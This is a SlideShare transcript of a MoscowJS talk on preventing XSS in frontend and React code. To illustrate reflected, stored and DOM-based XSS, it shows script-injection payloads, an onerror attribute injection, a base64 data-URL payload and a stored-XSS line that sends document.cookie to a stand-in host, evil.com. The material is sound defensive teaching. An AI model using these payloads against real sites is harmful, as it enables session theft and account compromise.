Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
APPROACHAPPROACH
TO WRITING SECURE FRONTEND INTO WRITING SECURE FRONTEND IN
CONTEXT OF REACTCONTEXT OF REACT
Ivan Elkin
Ap...
PLANPLAN
1. Client Side vulnerabilities
2. Prevention of vulners
3. Prevention of vulners in ReactJS
1
CLIENT SIDE VULNERABILITIESCLIENT SIDE VULNERABILITIES
Is a lack of client-side logic or code which
provides an attack vec...
XSSXSS
3
3
1"><script>alert(
'HACKED!')
XSSXSS (CROSS SITE SCRIPTING)(CROSS SITE SCRIPTING)
In a common cases is a type of WEB-attack where
malicious code
injecte...
XSS TYPESXSS TYPES
Reflected
Stored
DOM-based
5
REFLECTED XSSREFLECTED XSS
Attack injection when malicious code has been
injected
after single HTTP request
6
REFLECTED XSSREFLECTED XSS
onResponse: function(response) {
var url = document.location;
var username = getQueryParam(url,...
REFLECTED XSSREFLECTED XSS
8
$.get('/search?query=' + query) {
success: function(user) {
$('.search-list')
.append('<div>username: ' + data.user.name +...
<div>There is nothing found for query: asdasdasd"<script>alert(1)</script></div>
.html('<div>There is nothing found for qu...
REFLECTED XSSREFLECTED XSS
11
STORED XSSSTORED XSS
Attack injection, where malicious code has
been stored on server in advance
12
STORED XSSSTORED XSS
13
<script type="text/javascript">
$.get('user_list', function(data) {
var data = JSON.parse(data);
$.each(data, function(key...
STORED XSSSTORED XSS
15
STORED XSSSTORED XSS
16
<div class="name">
Jane<script>$.get('//evil.com/'+document.cookie)</script>
</div>
STORED XSSSTORED XSS
Samy...
17
MySpace...
... about 1 million friends in 20
hours
DOM-BASED XSSDOM-BASED XSS
Unlike Reflected and Stored XSS, can
work without interaction with the server
18
DOM-BASED XSSDOM-BASED XSS
19
http://bank.com/payment?backUrl=http://market.com
$(document).ready(function() {
$('#btn-back').attr('href', getURLParameterByName('backUrl'))
});
DOM-BASED XSSDOM-BASED XS...
<a id="btn-back" href="&quot;&lt;script&gt;alert(1)&lt;/script&gt;">Back to Shop</a>
DOM-BASED XSSDOM-BASED XSS
http://ban...
http://bank.com/payment?backUrl=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
atob('PHNjcmlwdD5hbGVydCgxKTwvc...
HOW TO PROTECT MY SITE?HOW TO PROTECT MY SITE?
Escaping HTML
Escaping Attributes
Escaping JS data
Escaping JSON data
Escap...
ESCAPINGESCAPING
& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> '
/ --> /
24
SAFE TEMPLATINGSAFE TEMPLATING
<div class="json-data">
<%= data.to_json %>;
</div>
btw, be careful !
25
{"user": {
"name":...
<div class="avatar">
<img alt= onerror=alert(1) src=>
</div>
DETECT KEYWORDSDETECT KEYWORDS
<div class="avatar">
<img alt=...
DETECT KEYWORDSDETECT KEYWORDS
var forbidden = [
'onerror',
'onmouseover',
'onclick'
];
if (attribute in forbidden) {
retu...
var allowed = [
'title',
'class',
'hidden',
....
];
if (attribute in allowed) {
add(attribute);
}
BE ON A WHITE SIDEBE ON ...
REACT-JSREACT-JS
one more JS framework...
...but it uses .jsx
29
REACT-JSREACT-JS
componentDidMount: function() {
this.setState({
data: 'A long time ago in a galaxy far,<br/> far away...'...
REACT-JSREACT-JS
31
REACT-JSREACT-JS
<div class="article" data-reactid=".0">
A long time ago in a galaxy far,&lt;br&gt; far away...
</div>
32
REACT-JSREACT-JS
dangerouslySetInnerHTML
Improper use of the innerHTMLcan open you up to a
attack. Sanitizing user input f...
FACEBOOK TELLSFACEBOOK TELLS
function createMarkup() {
return {
__html: 'First <br/> Second'
};
};
<div dangerouslySetInne...
WHAT IS UNDER THEWHAT IS UNDER THE HOOD ?HOOD ?
35
First of all, what innerHTML is ?
w3c
returns a serialization of the no...
REACT-JSREACT-JS
/**
* @param {DOMElement} node
* @param {string} html
* @internal
*/
var setInnerHTML = function(node, ht...
REACT-JSREACT-JS
/**
* @param {DOMElement} node
* @param {string} text
* @internal
*/
var setTextContent = function(node, ...
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
38
One more thing which surprised
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
<div data-reactid=".0">
My data
</div>
render: function () {
return (
;
}
<div clas...
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
SUPPORTED ATTRIBUTESSUPPORTED ATTRIBUTES
React supports all data-* and aria-* attri...
REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES
var HTMLDOMPropertyConfig = {
isCustomAttribute: RegExp.prototype.test.bind(
/^(dat...
REACT-JS SEVERAL SIMPLE RULESREACT-JS SEVERAL SIMPLE RULES
Use safe user input by default
Use unsafe input only for specia...
<EndFrame onQuestions={this.doAnswer}>
<Title>
Thanx for your attention!
</Title>
</EndFrame>
Upcoming SlideShare
Loading in …5
×
Upcoming SlideShare
«Typescript: кому нужна строгая типизация?», Григорий Петров, MoscowJS 21
Next
Download to read offline and view in fullscreen.

0

Share

Download to read offline

"Подход к написанию безопасного клиентского кода на примере React", Иван Елкин, MoscowJS 25

Download to read offline

Видео: https://youtu.be/FjD4Mp0zAbk

Related Books

Free with a 30 day trial from Scribd

See all

Related Audiobooks

Free with a 30 day trial from Scribd

See all
  • Be the first to like this

"Подход к написанию безопасного клиентского кода на примере React", Иван Елкин, MoscowJS 25

  1. 1. APPROACHAPPROACH TO WRITING SECURE FRONTEND INTO WRITING SECURE FRONTEND IN CONTEXT OF REACTCONTEXT OF REACT Ivan Elkin Application Security Expert, Qiwi
  2. 2. PLANPLAN 1. Client Side vulnerabilities 2. Prevention of vulners 3. Prevention of vulners in ReactJS 1
  3. 3. CLIENT SIDE VULNERABILITIESCLIENT SIDE VULNERABILITIES Is a lack of client-side logic or code which provides an attack vector which affects the end user (in browser context ) 2 and the main pain is...
  4. 4. XSSXSS 3
  5. 5. 3 1"><script>alert( 'HACKED!')
  6. 6. XSSXSS (CROSS SITE SCRIPTING)(CROSS SITE SCRIPTING) In a common cases is a type of WEB-attack where malicious code injected in a client-side code 4
  7. 7. XSS TYPESXSS TYPES Reflected Stored DOM-based 5
  8. 8. REFLECTED XSSREFLECTED XSS Attack injection when malicious code has been injected after single HTTP request 6
  9. 9. REFLECTED XSSREFLECTED XSS onResponse: function(response) { var url = document.location; var username = getQueryParam(url, 'username'); var tpl = '<span>Hello {{username}} !</span>'; document.write(tpl.replace(/{{username}}/, username)); } http://socialnetwork.com/UserSearch?query=asd%22%3Cscript%3Ealert(1)%3C/script%3E 7 <span> Hello <script>alert(1)</script> !</span>
  10. 10. REFLECTED XSSREFLECTED XSS 8
  11. 11. $.get('/search?query=' + query) { success: function(user) { $('.search-list') .append('<div>username: ' + data.user.name + '</div>') .append('<div>username: ' + data.user.email + '</div>') } failure: function(error) { $('.search-list') .html('<div>There is nothing found for query: ' + error.query + '</div>'); } } REFLECTED XSSREFLECTED XSS 9
  12. 12. <div>There is nothing found for query: asdasdasd"<script>alert(1)</script></div> .html('<div>There is nothing found for query: ' + error.query + '</div>'); REFLECTED XSSREFLECTED XSS 10 ?query=asdasdasd"<script>alert(1)</script> so, if part of HTML has been injected into your code...
  13. 13. REFLECTED XSSREFLECTED XSS 11
  14. 14. STORED XSSSTORED XSS Attack injection, where malicious code has been stored on server in advance 12
  15. 15. STORED XSSSTORED XSS 13
  16. 16. <script type="text/javascript"> $.get('user_list', function(data) { var data = JSON.parse(data); $.each(data, function(key, user) { $('.list-group').append( '<div class="user">' + '<div class="name">' + user.name + '</div>' + '<div class="title">' + user.email + '</div>' + '</div>' ); }); }); </script> STORED XSSSTORED XSS 14
  17. 17. STORED XSSSTORED XSS 15
  18. 18. STORED XSSSTORED XSS 16 <div class="name"> Jane<script>$.get('//evil.com/'+document.cookie)</script> </div>
  19. 19. STORED XSSSTORED XSS Samy... 17 MySpace... ... about 1 million friends in 20 hours
  20. 20. DOM-BASED XSSDOM-BASED XSS Unlike Reflected and Stored XSS, can work without interaction with the server 18
  21. 21. DOM-BASED XSSDOM-BASED XSS 19 http://bank.com/payment?backUrl=http://market.com
  22. 22. $(document).ready(function() { $('#btn-back').attr('href', getURLParameterByName('backUrl')) }); DOM-BASED XSSDOM-BASED XSS 20
  23. 23. <a id="btn-back" href="&quot;&lt;script&gt;alert(1)&lt;/script&gt;">Back to Shop</a> DOM-BASED XSSDOM-BASED XSS http://bank.com/payment?backUrl="><script>alert(1)</script> &quot;&lt;script&gt;alert(1)&lt;/script&gt; 21 $('#btn-back').attr('href', getURLParameterByName('backUrl')) but we have one more case....
  24. 24. http://bank.com/payment?backUrl=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ') "<script>alert(1)</script>" DOM-BASED XSSDOM-BASED XSS Base64 22 <a id="btn-back" href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> Back to Shop </a>
  25. 25. HOW TO PROTECT MY SITE?HOW TO PROTECT MY SITE? Escaping HTML Escaping Attributes Escaping JS data Escaping JSON data Escaping CSS data 23
  26. 26. ESCAPINGESCAPING & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> ' / --> / 24
  27. 27. SAFE TEMPLATINGSAFE TEMPLATING <div class="json-data"> <%= data.to_json %>; </div> btw, be careful ! 25 {"user": { "name": "Jane", "email": "jane@somemail.ru", "title": "someone <a href='evil.com'>you</a> know", "mobilePhone": "5123354456" }} <div class="json-data"> {"user": { "name": "Jane", "email": "jane@somemail.ru", "title": "someone <a href='evil.com'>you</a> know", "mobilePhone": "5123354456" }} </div>
  28. 28. <div class="avatar"> <img alt= onerror=alert(1) src=> </div> DETECT KEYWORDSDETECT KEYWORDS <div class="avatar"> <img alt={{avatar.name}} src={{avatar.image}}> </div> avatar: { name: ' onerror=alert(1)' image: '' } avatar: { name: 'Me in Italy' image: '/images/aajkdshf2347jk/avatar.jpg' } Handlebars, XTemplate and others... 26
  29. 29. DETECT KEYWORDSDETECT KEYWORDS var forbidden = [ 'onerror', 'onmouseover', 'onclick' ]; if (attribute in forbidden) { return false; } What about onblur, onchange, onselect, etc. ? Black Lists 27
  30. 30. var allowed = [ 'title', 'class', 'hidden', .... ]; if (attribute in allowed) { add(attribute); } BE ON A WHITE SIDEBE ON A WHITE SIDE 28
  31. 31. REACT-JSREACT-JS one more JS framework... ...but it uses .jsx 29
  32. 32. REACT-JSREACT-JS componentDidMount: function() { this.setState({ data: 'A long time ago in a galaxy far,<br/> far away...' }) }, render: function () { return ( <Article className="article"> {this.state.data} </Article> ); } 30
  33. 33. REACT-JSREACT-JS 31
  34. 34. REACT-JSREACT-JS <div class="article" data-reactid=".0"> A long time ago in a galaxy far,&lt;br&gt; far away... </div> 32
  35. 35. REACT-JSREACT-JS dangerouslySetInnerHTML Improper use of the innerHTMLcan open you up to a attack. Sanitizing user input for display is notoriously error-prone, and failure to properly sanitize is one of the on the internet. cross-site scripting (XSS) leading causes of web vulnerabilities Google told me: 33
  36. 36. FACEBOOK TELLSFACEBOOK TELLS function createMarkup() { return { __html: 'First <br/> Second' }; }; <div dangerouslySetInnerHTML={createMarkup()} /> 34 WAT !? 0_o
  37. 37. WHAT IS UNDER THEWHAT IS UNDER THE HOOD ?HOOD ? 35 First of all, what innerHTML is ? w3c returns a serialization of the node's children using the HTML syntax
  38. 38. REACT-JSREACT-JS /** * @param {DOMElement} node * @param {string} html * @internal */ var setInnerHTML = function(node, html) { node.innerHTML = html; }; 36 ... if(props.dangerouslySetInnerHTML != null) ... ReactDOMComponent.js setInnerHTML.js
  39. 39. REACT-JSREACT-JS /** * @param {DOMElement} node * @param {string} text * @internal */ var setTextContent = function(node, text) { node.textContent = text; }; otherwise... w3c returns the text content of this node and its descendants... < == &lt; > == &gt; 37
  40. 40. REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES 38 One more thing which surprised
  41. 41. REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES <div data-reactid=".0"> My data </div> render: function () { return ( ; } <div class="article text-header text-bold" onmouseenter={this.fadeIn} onmouseleave={this.fadeOut}> {this.state.data} </div> ) WAT !? 0_o 39
  42. 42. REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES SUPPORTED ATTRIBUTESSUPPORTED ATTRIBUTES React supports all data-* and aria-* attributes as well as every attribute in the following lists. “ Note: All attributes are camel-cased and the attributes class and for are className and htmlFor, respectively, to match the DOM API specification. 40
  43. 43. REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES var HTMLDOMPropertyConfig = { isCustomAttribute: RegExp.prototype.test.bind( /^(data|aria)-[a-z_][a-zd_.-]*$/ ), Properties: { /** * Standard Properties */ accept: null, acceptCharset: null, accessKey: null, action: null, allowFullScreen: MUST_USE_ATTRIBUTE | HAS_BOOLEAN_VALUE, allowTransparency: MUST_USE_ATTRIBUTE, alt: null, async: HAS_BOOLEAN_VALUE, autoComplete: null, // autoFocus is polyfilled/normalized by AutoFocusMixin // autoFocus: HAS_BOOLEAN_VALUE, autoPlay: HAS_BOOLEAN_VALUE, cellPadding: null, cellSpacing: null, charSet: MUST_USE_ATTRIBUTE, checked: MUST_USE_PROPERTY | HAS_BOOLEAN_VALUE, classID: MUST_USE_ATTRIBUTE, 41
  44. 44. REACT-JS SEVERAL SIMPLE RULESREACT-JS SEVERAL SIMPLE RULES Use safe user input by default Use unsafe input only for special forms​ Allow only known attributes Doesn't allow inline attribute data <div> Hello, {{user.name}} </div> <img src={{user.imgSrc}} alt={{user.title}} /> <div> Hello, <script>alert('you`ve been hacked')</script> </div> <img src='' alt= newChromeParam=alert('You`ve been Hacked!')/>
  45. 45. <EndFrame onQuestions={this.doAnswer}> <Title> Thanx for your attention! </Title> </EndFrame>

Видео: https://youtu.be/FjD4Mp0zAbk

Views

Total views

513

On Slideshare

0

From embeds

0

Number of embeds

4

Actions

Downloads

3

Shares

0

Comments

0

Likes

0

×